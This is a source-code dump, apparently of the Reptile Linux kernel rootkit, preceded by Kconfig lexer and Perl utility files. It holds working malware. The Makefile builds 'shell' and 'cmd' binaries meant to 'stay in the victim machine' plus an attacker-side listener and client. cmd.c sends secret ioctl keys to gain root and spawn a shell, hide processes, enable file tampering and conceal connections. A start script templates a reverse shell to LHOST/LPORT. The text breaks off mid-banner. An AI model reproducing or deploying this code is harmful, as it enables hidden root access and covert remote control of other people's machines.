17 | endmenu, T_ENDMENU, TF_COMMAND
18 | source, T_SOURCE, TF_COMMAND
19 | choice, T_CHOICE, TF_COMMAND
20 | endchoice, T_ENDCHOICE, TF_COMMAND
21 | comment, T_COMMENT, TF_COMMAND
22 | config, T_CONFIG, TF_COMMAND
23 | menuconfig, T_MENUCONFIG, TF_COMMAND
24 | help, T_HELP, TF_COMMAND
25 | if, T_IF, TF_COMMAND|TF_PARAM
26 | endif, T_ENDIF, TF_COMMAND
27 | depends, T_DEPENDS, TF_COMMAND
28 | optional, T_OPTIONAL, TF_COMMAND
29 | default, T_DEFAULT, TF_COMMAND, S_UNKNOWN
30 | prompt, T_PROMPT, TF_COMMAND
31 | tristate, T_TYPE, TF_COMMAND, S_TRISTATE
32 | def_tristate, T_DEFAULT, TF_COMMAND, S_TRISTATE
33 | bool, T_TYPE, TF_COMMAND, S_BOOLEAN
34 | boolean, T_TYPE, TF_COMMAND, S_BOOLEAN
35 | def_bool, T_DEFAULT, TF_COMMAND, S_BOOLEAN
36 | int, T_TYPE, TF_COMMAND, S_INT
37 | hex, T_TYPE, TF_COMMAND, S_HEX
38 | string, T_TYPE, TF_COMMAND, S_STRING
39 | select, T_SELECT, TF_COMMAND
40 | range, T_RANGE, TF_COMMAND
41 | visible, T_VISIBLE, TF_COMMAND
42 | option, T_OPTION, TF_COMMAND
43 | on, T_ON, TF_PARAM
44 | modules, T_OPT_MODULES, TF_OPTION
45 | defconfig_list, T_OPT_DEFCONFIG_LIST,TF_OPTION
46 | env, T_OPT_ENV, TF_OPTION
47 | %%
48 |
--------------------------------------------------------------------------------
/scripts/kconfig/zconf.l:
--------------------------------------------------------------------------------
1 | %option nostdinit noyywrap never-interactive full ecs
2 | %option 8bit nodefault perf-report perf-report
3 | %option noinput
4 | %x COMMAND HELP STRING PARAM
5 | %{
6 | /*
7 | * Copyright (C) 2002 Roman Zippel
8 | * Released under the terms of the GNU GPL v2.0.
9 | */
10 |
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 |
17 | #include "lkc.h"
18 |
19 | #define START_STRSIZE 16
20 |
21 | static struct {
22 | struct file *file;
23 | int lineno;
24 | } current_pos;
25 |
26 | static char *text;
27 | static int text_size, text_asize;
28 |
29 | struct buffer {
30 | struct buffer *parent;
31 | YY_BUFFER_STATE state;
32 | };
33 |
34 | struct buffer *current_buf;
35 |
36 | static int last_ts, first_ts;
37 |
38 | static void zconf_endhelp(void);
39 | static void zconf_endfile(void);
40 |
41 | static void new_string(void)
42 | {
43 | text = xmalloc(START_STRSIZE);
44 | text_asize = START_STRSIZE;
45 | text_size = 0;
46 | *text = 0;
47 | }
48 |
49 | static void append_string(const char *str, int size)
50 | {
51 | int new_size = text_size + size + 1;
52 | if (new_size > text_asize) {
53 | new_size += START_STRSIZE - 1;
54 | new_size &= -START_STRSIZE;
55 | text = realloc(text, new_size);
56 | text_asize = new_size;
57 | }
58 | memcpy(text + text_size, str, size);
59 | text_size += size;
60 | text[text_size] = 0;
61 | }
62 |
63 | static void alloc_string(const char *str, int size)
64 | {
65 | text = xmalloc(size + 1);
66 | memcpy(text, str, size);
67 | text[size] = 0;
68 | }
69 | %}
70 |
71 | n [A-Za-z0-9_]
72 |
73 | %%
74 | int str = 0;
75 | int ts, i;
76 |
77 | [ \t]*#.*\n |
78 | [ \t]*\n {
79 | current_file->lineno++;
80 | return T_EOL;
81 | }
82 | [ \t]*#.*
83 |
84 |
85 | [ \t]+ {
86 | BEGIN(COMMAND);
87 | }
88 |
89 | . {
90 | unput(yytext[0]);
91 | BEGIN(COMMAND);
92 | }
93 |
94 |
95 | {
96 | {n}+ {
97 | const struct kconf_id *id = kconf_id_lookup(yytext, yyleng);
98 | BEGIN(PARAM);
99 | current_pos.file = current_file;
100 | current_pos.lineno = current_file->lineno;
101 | if (id && id->flags & TF_COMMAND) {
102 | zconflval.id = id;
103 | return id->token;
104 | }
105 | alloc_string(yytext, yyleng);
106 | zconflval.string = text;
107 | return T_WORD;
108 | }
109 | .
110 | \n {
111 | BEGIN(INITIAL);
112 | current_file->lineno++;
113 | return T_EOL;
114 | }
115 | }
116 |
117 | {
118 | "&&" return T_AND;
119 | "||" return T_OR;
120 | "(" return T_OPEN_PAREN;
121 | ")" return T_CLOSE_PAREN;
122 | "!" return T_NOT;
123 | "=" return T_EQUAL;
124 | "!=" return T_UNEQUAL;
125 | \"|\' {
126 | str = yytext[0];
127 | new_string();
128 | BEGIN(STRING);
129 | }
130 | \n BEGIN(INITIAL); current_file->lineno++; return T_EOL;
131 | --- /* ignore */
132 | ({n}|[-/.])+ {
133 | const struct kconf_id *id = kconf_id_lookup(yytext, yyleng);
134 | if (id && id->flags & TF_PARAM) {
135 | zconflval.id = id;
136 | return id->token;
137 | }
138 | alloc_string(yytext, yyleng);
139 | zconflval.string = text;
140 | return T_WORD;
141 | }
142 | #.* /* comment */
143 | \\\n current_file->lineno++;
144 | .
145 | <> {
146 | BEGIN(INITIAL);
147 | }
148 | }
149 |
150 | {
151 | [^'"\\\n]+/\n {
152 | append_string(yytext, yyleng);
153 | zconflval.string = text;
154 | return T_WORD_QUOTE;
155 | }
156 | [^'"\\\n]+ {
157 | append_string(yytext, yyleng);
158 | }
159 | \\.?/\n {
160 | append_string(yytext + 1, yyleng - 1);
161 | zconflval.string = text;
162 | return T_WORD_QUOTE;
163 | }
164 | \\.? {
165 | append_string(yytext + 1, yyleng - 1);
166 | }
167 | \'|\" {
168 | if (str == yytext[0]) {
169 | BEGIN(PARAM);
170 | zconflval.string = text;
171 | return T_WORD_QUOTE;
172 | } else
173 | append_string(yytext, 1);
174 | }
175 | \n {
176 | printf("%s:%d:warning: multi-line strings not supported\n", zconf_curname(), zconf_lineno());
177 | current_file->lineno++;
178 | BEGIN(INITIAL);
179 | return T_EOL;
180 | }
181 | <> {
182 | BEGIN(INITIAL);
183 | }
184 | }
185 |
186 | {
187 | [ \t]+ {
188 | ts = 0;
189 | for (i = 0; i < yyleng; i++) {
190 | if (yytext[i] == '\t')
191 | ts = (ts & ~7) + 8;
192 | else
193 | ts++;
194 | }
195 | last_ts = ts;
196 | if (first_ts) {
197 | if (ts < first_ts) {
198 | zconf_endhelp();
199 | return T_HELPTEXT;
200 | }
201 | ts -= first_ts;
202 | while (ts > 8) {
203 | append_string(" ", 8);
204 | ts -= 8;
205 | }
206 | append_string(" ", ts);
207 | }
208 | }
209 | [ \t]*\n/[^ \t\n] {
210 | current_file->lineno++;
211 | zconf_endhelp();
212 | return T_HELPTEXT;
213 | }
214 | [ \t]*\n {
215 | current_file->lineno++;
216 | append_string("\n", 1);
217 | }
218 | [^ \t\n].* {
219 | while (yyleng) {
220 | if ((yytext[yyleng-1] != ' ') && (yytext[yyleng-1] != '\t'))
221 | break;
222 | yyleng--;
223 | }
224 | append_string(yytext, yyleng);
225 | if (!first_ts)
226 | first_ts = last_ts;
227 | }
228 | <> {
229 | zconf_endhelp();
230 | return T_HELPTEXT;
231 | }
232 | }
233 |
234 | <> {
235 | if (current_file) {
236 | zconf_endfile();
237 | return T_EOL;
238 | }
239 | fclose(yyin);
240 | yyterminate();
241 | }
242 |
243 | %%
244 | void zconf_starthelp(void)
245 | {
246 | new_string();
247 | last_ts = first_ts = 0;
248 | BEGIN(HELP);
249 | }
250 |
251 | static void zconf_endhelp(void)
252 | {
253 | zconflval.string = text;
254 | BEGIN(INITIAL);
255 | }
256 |
257 |
258 | /*
259 | * Try to open specified file with following names:
260 | * ./name
261 | * $(srctree)/name
262 | * The latter is used when srctree is separate from objtree
263 | * when compiling the kernel.
264 | * Return NULL if file is not found.
265 | */
266 | FILE *zconf_fopen(const char *name)
267 | {
268 | char *env, fullname[PATH_MAX+1];
269 | FILE *f;
270 |
271 | f = fopen(name, "r");
272 | if (!f && name != NULL && name[0] != '/') {
273 | env = getenv(SRCTREE);
274 | if (env) {
275 | sprintf(fullname, "%s/%s", env, name);
276 | f = fopen(fullname, "r");
277 | }
278 | }
279 | return f;
280 | }
281 |
282 | void zconf_initscan(const char *name)
283 | {
284 | yyin = zconf_fopen(name);
285 | if (!yyin) {
286 | printf("can't find file %s\n", name);
287 | exit(1);
288 | }
289 |
290 | current_buf = xmalloc(sizeof(*current_buf));
291 | memset(current_buf, 0, sizeof(*current_buf));
292 |
293 | current_file = file_lookup(name);
294 | current_file->lineno = 1;
295 | }
296 |
297 | void zconf_nextfile(const char *name)
298 | {
299 | struct file *iter;
300 | struct file *file = file_lookup(name);
301 | struct buffer *buf = xmalloc(sizeof(*buf));
302 | memset(buf, 0, sizeof(*buf));
303 |
304 | current_buf->state = YY_CURRENT_BUFFER;
305 | yyin = zconf_fopen(file->name);
306 | if (!yyin) {
307 | printf("%s:%d: can't open file \"%s\"\n",
308 | zconf_curname(), zconf_lineno(), file->name);
309 | exit(1);
310 | }
311 | yy_switch_to_buffer(yy_create_buffer(yyin, YY_BUF_SIZE));
312 | buf->parent = current_buf;
313 | current_buf = buf;
314 |
315 | for (iter = current_file->parent; iter; iter = iter->parent ) {
316 | if (!strcmp(current_file->name,iter->name) ) {
317 | printf("%s:%d: recursive inclusion detected. "
318 | "Inclusion path:\n current file : '%s'\n",
319 | zconf_curname(), zconf_lineno(),
320 | zconf_curname());
321 | iter = current_file->parent;
322 | while (iter && \
323 | strcmp(iter->name,current_file->name)) {
324 | printf(" included from: '%s:%d'\n",
325 | iter->name, iter->lineno-1);
326 | iter = iter->parent;
327 | }
328 | if (iter)
329 | printf(" included from: '%s:%d'\n",
330 | iter->name, iter->lineno+1);
331 | exit(1);
332 | }
333 | }
334 | file->lineno = 1;
335 | file->parent = current_file;
336 | current_file = file;
337 | }
338 |
339 | static void zconf_endfile(void)
340 | {
341 | struct buffer *parent;
342 |
343 | current_file = current_file->parent;
344 |
345 | parent = current_buf->parent;
346 | if (parent) {
347 | fclose(yyin);
348 | yy_delete_buffer(YY_CURRENT_BUFFER);
349 | yy_switch_to_buffer(parent->state);
350 | }
351 | free(current_buf);
352 | current_buf = parent;
353 | }
354 |
355 | int zconf_lineno(void)
356 | {
357 | return current_pos.lineno;
358 | }
359 |
360 | const char *zconf_curname(void)
361 | {
362 | return current_pos.file ? current_pos.file->name : "";
363 | }
364 |
--------------------------------------------------------------------------------
/scripts/lib/Unescape.pm:
--------------------------------------------------------------------------------
1 | package String::Unescape;
2 |
3 | use 5.008;
4 | use strict;
5 | use warnings;
6 |
7 | # ABSTRACT: Unescape perl-escaped string
8 | our $VERSION = 'v0.0.3'; # VERSION
9 |
10 | require Exporter;
11 | our (@EXPORT_OK) = qw(unescape);
12 |
13 | use Carp;
14 |
15 | my %map = (
16 | t => "\t",
17 | n => "\n",
18 | r => "\r",
19 | f => "\f",
20 | b => "\b",
21 | a => "\a",
22 | e => "\e",
23 | );
24 |
25 | my %mapc = map { chr($_) => chr($_ ^ 0x60) } 97..122;
26 |
27 | my %convs = (
28 | l => sub { lcfirst shift },
29 | u => sub { ucfirst shift },
30 | );
31 |
32 | my %convp = (
33 | L => sub { lc shift },
34 | U => sub { uc shift },
35 | Q => sub { quotemeta shift },
36 | );
37 |
38 | if($^V ge v5.16.0) {
39 | # All constant stringy eval so this should be safe.
40 | eval q{use feature qw(fc); $convp{F} = sub { fc(shift) };}; ## no critic (ProhibitStringyEval)
41 | } else {
42 | $convp{F} = sub { 'F'.shift }; # \E omitted
43 | }
44 |
45 | my $from_code = sub { chr(hex(shift)); };
46 | my $from_name;
47 |
48 | if($^V ge v5.14.0) {
49 | $from_name = sub {
50 | my $name = shift;
51 | return charnames::string_vianame($name) || die "Unknown charname $name";
52 | };
53 | } else {
54 | $from_name = sub {
55 | my $name = shift;
56 | my $code = charnames::vianame($name);
57 | die "Unknown charname $name" if ! defined $code;
58 | return chr($code);
59 | };
60 | }
61 |
62 | my $re_single = qr/
63 | \\([tnrfbae]) | # $1 : one char
64 | \\c(.) | # $2 : control
65 | \\x\{([0-9a-fA-F]*)[^}]*\} | # $3 : \x{}
66 | \\x([0-9a-fA-F]{0,2}) | # $4 : \x
67 | \\([0-7]{1,3}) | # $5 : \077
68 | \\o\{([0-7]*)([^}]*)\} | # $6, $7 : \o{}
69 | \\N\{U\+([^}]*)\} | # $8 : \N{U+}
70 | \\N\{([^}]*)\} | # $9 : \N{name}
71 |
72 | \\(l|u)(.?) | # $10, $11 : \l, \u
73 | \\E | #
74 | \\?(.) # $12
75 | /xs;
76 |
77 | my $convert_single = sub {
78 | require charnames if defined $8 || defined $9;
79 |
80 | return $map{$1} if defined $1;
81 | return exists $mapc{$2} ? $mapc{$2} : chr(ord($2) ^ 0x40) if defined $2;
82 | return chr(hex($3)) if defined $3;
83 | return chr(hex($4)) if defined $4;
84 | return chr(oct($5)) if defined $5;
85 | return chr(oct($6)) if defined $6 && $^V ge v5.14.0;
86 | return 'o{'.$6.$7.'}' if defined $6;
87 | # TODO: Need to check invalid cases
88 | return $from_code->($8) if defined $8;
89 | return $from_name->($9) if defined $9;
90 | return $convs{$10}($11) if defined $10;
91 | return $12 if defined $12;
92 | return ''; # \E
93 | };
94 |
95 | my $apply_single = sub {
96 | my $target = shift;
97 | while($target =~ s/\G$re_single/$convert_single->()/gxse) {
98 | last unless defined pos($target);
99 | }
100 | return $target;
101 | };
102 |
103 | # NOTE: I'm not sure the reason, but my $_re_recur; causes a error.
104 | our $_re_recur;
105 | $_re_recur = qr/
106 | \\([LUQF])
107 | (?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))*
108 | (?:\\E|\Z)
109 | /xs;
110 |
111 | my $re_range = qr/
112 | ((?:[^\\]|\\[^LUQF])*) # $1: pre
113 | (?:
114 | \\([LUQF]) # $2: marker
115 | ((?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))*) # $3: content
116 | (?:\\E|\Z)
117 | )*
118 | /xs;
119 |
120 | my $apply_range;
121 |
122 | my $convert_range = sub {
123 | my ($pre, $marker, $content) = @_;
124 | return
125 | (defined $pre ? $apply_single->($pre) : '').
126 | (defined $marker ? $convp{$marker}($apply_range->($content)) : '');
127 | };
128 |
129 | $apply_range = sub {
130 | my $target = shift;
131 | while($target =~ s/\G$re_range/$convert_range->($1, $2, $3)/gxse) {
132 | last unless defined pos($target);
133 | }
134 | return $target;
135 | };
136 |
137 | sub unescape
138 | {
139 | shift if @_ && eval { $_[0]->isa(__PACKAGE__); };
140 | croak 'No string is given' unless @_;
141 | croak 'More than one argument are given' unless @_ == 1;
142 |
143 | return $apply_range->($_[0]);
144 | }
145 |
146 | 1;
147 |
148 | __END__
149 |
150 | =pod
151 |
152 | =head1 NAME
153 |
154 | String::Unescape - Unescape perl-escaped string
155 |
156 | =head1 VERSION
157 |
158 | version v0.0.3
159 |
160 | =head1 SYNOPSIS
161 |
162 | # Call as class method
163 | print String::Unescape->unescape('\t\c@\x41\n');
164 |
165 | # Call as function
166 | use String::Escape qw(unescape);
167 | print unescape('\t\c@\x41\n');
168 |
169 | =head1 DESCRIPTION
170 |
171 | This module provides just one function, Perl's unescaping without variable interpolation. Sometimes, I want to provide a string including a character difficult to represent without escaping, outside from Perl. Also, sometimes, I can not rely on shell expansion.
172 |
173 | # App-count
174 | count -t '\t'
175 |
176 | C can handle this situation but it has too more power than required. This is the purpose for this module.
177 |
178 | This module is intented to be compatible with Perl's native unescaping as much as possible, with the following limitation.
179 | If the result is different from one by Perl beyond the limitation, it is considered as a bug. Please report it.
180 |
181 | =head2 LIMITATION
182 |
183 | There are the following exceptions that Perl's behavior is not emulated.
184 |
185 | =over 4
186 |
187 | =item 1
188 |
189 | Whether warning is produced or not.
190 |
191 | =item 2
192 |
193 | Strings that perl doesn't accept. For those strings, the results by this module are undefined.
194 |
195 | =item 3
196 |
197 | \L in \U and \U in \L. By perl, they are not stacked, which means all \Q, \L, \U and \F (if available) modifiers from the prior \L, \U or \F become to have no effect then restart the new \L, \U or \F conversion. By this module, stacked.
198 |
199 | =item 4
200 |
201 | \L\u and \U\l. By Perl, they are swapped as \u\L and \l\U, respectively. By this module, not swapped.
202 |
203 | =back
204 |
205 | For 3 and 4, t/quirks_in_perl.t contains actual examples.
206 |
207 | =head1 METHODS
208 |
209 | =head2 C
210 |
211 | Returns unescaped C<$str>. For escaping, see L.
212 |
213 | =head1 REMARKS
214 |
215 | L in Perl 5.6 does not have required functionality that is Unicode name E-E code conversion in runtime, thus Perl 5.6 support is explicitly dropped.
216 |
217 | =head1 AUTHOR
218 |
219 | Yasutaka ATARASHI
220 |
221 | =head1 COPYRIGHT AND LICENSE
222 |
223 | This software is copyright (c) 2013 by Yasutaka ATARASHI.
224 |
225 | This is free software; you can redistribute it and/or modify it under
226 | the same terms as the Perl 5 programming language system itself.
227 |
228 | =cut
229 |
--------------------------------------------------------------------------------
/scripts/random.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | function random_gen_hex {
4 | RETVAL=$(cat /dev/urandom | head -c $1 | hexdump '-e"%x"')
5 | }
6 |
7 | # Will be used one day
8 | function random_gen_dec {
9 | RETVAL=$(shuf -i 1-65535 -n 1)
10 | }
11 |
12 | random_gen_hex 4
13 | AUTH=0x$RETVAL
14 | random_gen_hex 4
15 | HTUA=0x$RETVAL
16 |
17 | cat >> $1 <
3 | #
4 | # YOU SHOULD PUT YOUR CUSTOM START ROUTINE HERE
5 | #
6 | #SHELL -t LHOST -p LPORT -s PASS -r INTERVAL
7 | #
8 | # This script should be executed after all hooks
9 | # raise up, to enable us use reptile features on
10 | # its start up. Then the file-tampering feature
11 | # starts disabled to enable load this script
12 | # properly. So, after all, we should enable
13 | # file-tampering again
14 | #
15 | #CMD file-tampering
16 | #
17 | # Actually, there is no need to hide file content
18 | # of this script, because if someone tries to
19 | # investigate this, it means Reptile was get caught.
20 | # But I am going to let this script as it is now ;)
21 | #
22 | #
--------------------------------------------------------------------------------
/userland/Makefile:
--------------------------------------------------------------------------------
1 | CC=gcc
2 | CFLAGS+=-O3 -fPIC
3 | INCLUDES+=-Iinclude
4 | RM=rm -rf
5 | BUILD_DIR?=$(PWD)/output
6 | DESTRINGIFY=perl ../scripts/destringify.pl
7 | CAT=cat
8 | DEP_SRC=crypto/aes.c crypto/sha1.c transport/pel.c
9 |
10 | include ../.config
11 |
12 | shell: CFLAGS+=-DNAME=\"$(HIDE)\" -DAUTH=$(AUTH) -DHTUA=$(HTUA)
13 | cmd: CFLAGS+=-DAUTH=$(AUTH) -DHTUA=$(HTUA)
14 |
15 | # Rules
16 |
17 | all: shell cmd
18 |
19 | # Those binaries will stay in the victim machine
20 |
21 | shell: build_dir
22 | @ echo " CC $(BUILD_DIR)/shell"
23 | @ $(CAT) shell.c | $(DESTRINGIFY) | $(CC) $(INCLUDES) $(CFLAGS) $(EXTRA_FLAGS) $(DEP_SRC) -o $(BUILD_DIR)/shell -xc - -lutil
24 | @ strip $(BUILD_DIR)/shell
25 |
26 | cmd: build_dir
27 | @ echo " CC $(BUILD_DIR)/cmd"
28 | @ $(CAT) cmd.c | $(DESTRINGIFY) | $(CC) $(INCLUDES) $(CFLAGS) -o $(BUILD_DIR)/cmd -xc -
29 | @ strip $(BUILD_DIR)/cmd
30 |
31 | # Those binaries will stay in the attacker machine
32 |
33 | listener: build_dir
34 | @ echo " CC $(BUILD_DIR)/listener"
35 | @ $(CC) $(INCLUDES) $(CFLAGS) $(DEP_SRC) client/listener.c -o $(BUILD_DIR)/listener -lreadline
36 | @ strip $(BUILD_DIR)/listener
37 |
38 | packet: build_dir
39 | @ echo " CC $(BUILD_DIR)/packet"
40 | @ $(CC) $(INCLUDES) $(CFLAGS) client/packet.c -o $(BUILD_DIR)/packet
41 | @ strip $(BUILD_DIR)/packet
42 |
43 | client: build_dir
44 | @ echo " CC $(BUILD_DIR)/client"
45 | @ $(CC) $(INCLUDES) $(CFLAGS) client/client.c -o $(BUILD_DIR)/client -lreadline
46 | @ strip $(BUILD_DIR)/client
47 |
48 | .PHONY : clean
49 |
50 | build_dir:
51 | @ mkdir -p $(BUILD_DIR)
52 |
53 | clean:
54 | @ $(RM) $(BUILD_DIR)
--------------------------------------------------------------------------------
/userland/cmd.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #define SHELL "/bin/bash"
14 |
15 | struct control {
16 | unsigned short cmd;
17 | void *argv;
18 | };
19 |
20 | int main(int argc, char **argv)
21 | {
22 | int sockfd;
23 | struct control args;
24 | struct sockaddr_in addr;
25 | struct hostent *host;
26 | unsigned int pid;
27 | char *bash = SHELL;
28 | char *envp[1] = {NULL};
29 | char *arg[3] = {SHELL, NULL};
30 |
31 | if (argc < 2)
32 | exit(0);
33 |
34 | sockfd = socket(AF_INET, SOCK_STREAM, 6);
35 | if (sockfd < 0)
36 | goto fail;
37 |
38 | if (strcmp(argv[1], "root") == 0) {
39 | if (geteuid() == 0) {
40 | printf("You are already root! :)\n\n");
41 | close(sockfd);
42 | goto out;
43 | }
44 |
45 | args.cmd = 3;
46 |
47 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
48 | ioctl(sockfd, AUTH, &args);
49 | ioctl(sockfd, AUTH, HTUA);
50 | }
51 |
52 | if (geteuid() == 0) {
53 | printf("\e[01;36mYou got super powers!\e[00m\n\n");
54 | execve(bash, arg, envp);
55 | } else {
56 | printf("\e[00;31mYou have no power here! :( \e[00m\n\n");
57 | }
58 |
59 | goto out;
60 | }
61 |
62 | if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) {
63 | if (argc < 2)
64 | goto fail;
65 |
66 | if (argc == 2) {
67 | args.cmd = 0;
68 |
69 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
70 | if (ioctl(sockfd, AUTH, &args) == 0) {
71 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
72 | printf("\e[01;32mSuccess!\e[00m\n");
73 | goto out;
74 | }
75 | }
76 | }
77 | } else {
78 |
79 | args.cmd = 1;
80 | pid = (unsigned int)atoi(argv[2]);
81 | args.argv = &pid;
82 |
83 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
84 | if (ioctl(sockfd, AUTH, &args) == 0) {
85 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
86 | printf("\e[01;32mSuccess!\e[00m\n");
87 | goto out;
88 | }
89 | }
90 | }
91 | }
92 | }
93 |
94 | if (strcmp(argv[1], "file-tampering") == 0) {
95 | args.cmd = 2;
96 |
97 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
98 | if (ioctl(sockfd, AUTH, &args) == 0) {
99 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
100 | printf("\e[01;32mSuccess!\e[00m\n");
101 | goto out;
102 | }
103 | }
104 | }
105 | }
106 |
107 | if (strcmp(argv[1], "conn") == 0) {
108 | if (argc < 4)
109 | goto fail;
110 |
111 | if (strcmp(argv[4], "hide") == 0) {
112 | args.cmd = 4;
113 | } else if (strcmp(argv[4], "show") == 0) {
114 | args.cmd = 5;
115 | } else {
116 | goto fail;
117 | }
118 |
119 | host = gethostbyname(argv[2]);
120 |
121 | if (host == NULL)
122 | goto fail;
123 |
124 | memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
125 | host->h_length);
126 |
127 | addr.sin_family = AF_INET;
128 | addr.sin_port = htons(atoi(argv[3]));
129 |
130 | args.argv = &addr;
131 |
132 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
133 | if (ioctl(sockfd, AUTH, &args) == 0) {
134 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
135 | printf("\e[01;32mSuccess!\e[00m\n");
136 | goto out;
137 | }
138 | }
139 | }
140 | }
141 | /*
142 |
143 | // This part is deprecated. There is no reason to hide specific protocols
144 | // when you want to hide some connection, in the most of cases you will
145 | // need to hide every connection and everything about your attacker server.
146 |
147 | if (strcmp(argv[1], "udp") == 0) {
148 | if (argc < 4)
149 | goto fail;
150 |
151 | if (strcmp(argv[4], "hide") == 0) {
152 | args.cmd = 6;
153 | } else if (strcmp(argv[4], "show") == 0) {
154 | args.cmd = 7;
155 | } else {
156 | goto fail;
157 | }
158 |
159 | host = gethostbyname(argv[2]);
160 |
161 | if (host == NULL)
162 | goto fail;
163 |
164 | memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
165 | host->h_length);
166 |
167 | addr.sin_family = AF_INET;
168 | addr.sin_port = htons(atoi(argv[3]));
169 |
170 | args.argv = &addr;
171 |
172 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
173 | if (ioctl(sockfd, AUTH, &args) == 0) {
174 | if (ioctl(sockfd, AUTH, HTUA) == 0) {
175 | printf("\e[01;32mSuccess!\e[00m\n");
176 | goto out;
177 | }
178 | }
179 | }
180 | }
181 | */
182 | fail:
183 | printf("\e[01;31mFailed!\e[00m\n");
184 | out:
185 | close(sockfd);
186 | return 0;
187 | }
188 |
--------------------------------------------------------------------------------
/userland/include/aes.h:
--------------------------------------------------------------------------------
1 | #ifndef _AES_H
2 | #define _AES_H
3 |
4 | #ifndef uint8
5 | #define uint8 unsigned char
6 | #endif
7 |
8 | #ifndef uint32
9 | #define uint32 unsigned long int
10 | #endif
11 |
12 | struct aes_context {
13 | int nr; /* number of rounds */
14 | uint32 erk[64]; /* encryption round keys */
15 | uint32 drk[64]; /* decryption round keys */
16 | };
17 |
18 | int aes_set_key(struct aes_context *ctx, uint8 *key, int nbits);
19 | void aes_encrypt(struct aes_context *ctx, uint8 data[16]);
20 | void aes_decrypt(struct aes_context *ctx, uint8 data[16]);
21 |
22 | #endif /* aes.h */
23 |
--------------------------------------------------------------------------------
/userland/include/config.h:
--------------------------------------------------------------------------------
1 | #ifndef _CONFIG_H
2 | #define _CONFIG_H
3 |
4 | #define HOMEDIR "/root"
5 | #define GET_FILE 1
6 | #define PUT_FILE 2
7 | #define RUNSHELL 3
8 | #define SET_DELAY 4
9 | #define OUT 5
10 | #define EXIT_LEN 16
11 | #define EXIT ";7(Zu9YTsA7qQ#vw"
12 |
13 | #endif
--------------------------------------------------------------------------------
/userland/include/custom_rol32.h:
--------------------------------------------------------------------------------
1 | #define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
2 | #define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
3 |
4 | static inline unsigned int custom_rol32(unsigned int val, int n)
5 | {
6 | return ((val << n) | (val >> (32 - n)));
7 | }
8 |
9 | static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
10 | {
11 | while (len > sizeof(key)) {
12 | *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
13 | len -= sizeof(key), ptr += sizeof(key);
14 | }
15 | }
--------------------------------------------------------------------------------
/userland/include/pel.h:
--------------------------------------------------------------------------------
1 | #ifndef _PEL_H
2 | #define _PEL_H
3 |
4 | #define BUFSIZE 4096 /* maximum message length */
5 |
6 | #define PEL_SUCCESS 1
7 | #define PEL_FAILURE 0
8 |
9 | #define PEL_SYSTEM_ERROR -1
10 | #define PEL_CONN_CLOSED -2
11 | #define PEL_WRONG_CHALLENGE -3
12 | #define PEL_BAD_MSG_LENGTH -4
13 | #define PEL_CORRUPTED_DATA -5
14 | #define PEL_UNDEFINED_ERROR -6
15 |
16 | extern int pel_errno;
17 |
18 | int pel_client_init( int server, char *key );
19 | int pel_server_init( int client, char *key );
20 |
21 | int pel_send_msg( int sockfd, unsigned char *msg, int length );
22 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length );
23 |
24 | #endif /* pel.h */
25 |
--------------------------------------------------------------------------------
/userland/include/sha1.h:
--------------------------------------------------------------------------------
1 | #ifndef _SHA1_H
2 | #define _SHA1_H
3 |
4 | #ifndef uint8
5 | #define uint8 unsigned char
6 | #endif
7 |
8 | #ifndef uint32
9 | #define uint32 unsigned long int
10 | #endif
11 |
12 | struct sha1_context {
13 | uint32 total[2];
14 | uint32 state[5];
15 | uint8 buffer[64];
16 | };
17 |
18 | void sha1_starts(struct sha1_context *ctx);
19 | void sha1_update(struct sha1_context *ctx, uint8 *input, uint32 length);
20 | void sha1_finish(struct sha1_context *ctx, uint8 digest[20]);
21 |
22 | #endif /* sha1.h */
23 |
--------------------------------------------------------------------------------
/userland/include/util.h:
--------------------------------------------------------------------------------
1 | #ifndef _UTIL_H
2 | #define _UTIL_H
3 |
4 | //#include "config.h"
5 |
6 | #define ERROR -1
7 | #define RL_BUFSIZE 2048
8 | #define TOK_BUFSIZE 64
9 | #define TOK_DELIM " \t\r\n\a"
10 |
11 | extern char *optarg;
12 | // extern int optind;
13 |
14 | char good[] = "\e[01;34m[*]\e[00m";
15 | char awesome[] = "\e[01;32m[+]\e[00m";
16 | char bad[] = "\e[01;31m[-]\e[00m";
17 | char warn[] = "\e[01;33m[!]\e[00m";
18 |
19 | void p_error(char *message)
20 | {
21 | char error_message[129];
22 |
23 | strcpy(error_message, bad);
24 | strcat(error_message, " Error ");
25 | strncat(error_message, message, 93);
26 | perror(error_message);
27 | printf("\n\n");
28 | }
29 |
30 | void fatal(char *message)
31 | {
32 | p_error(message);
33 | exit(ERROR);
34 | }
35 |
36 | void banner(void)
37 | {
38 | fprintf(stdout, "\e[01;31m\n"
39 | "\t █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓\n"
40 | "\t▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒\n"
41 | "\t▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░\n"
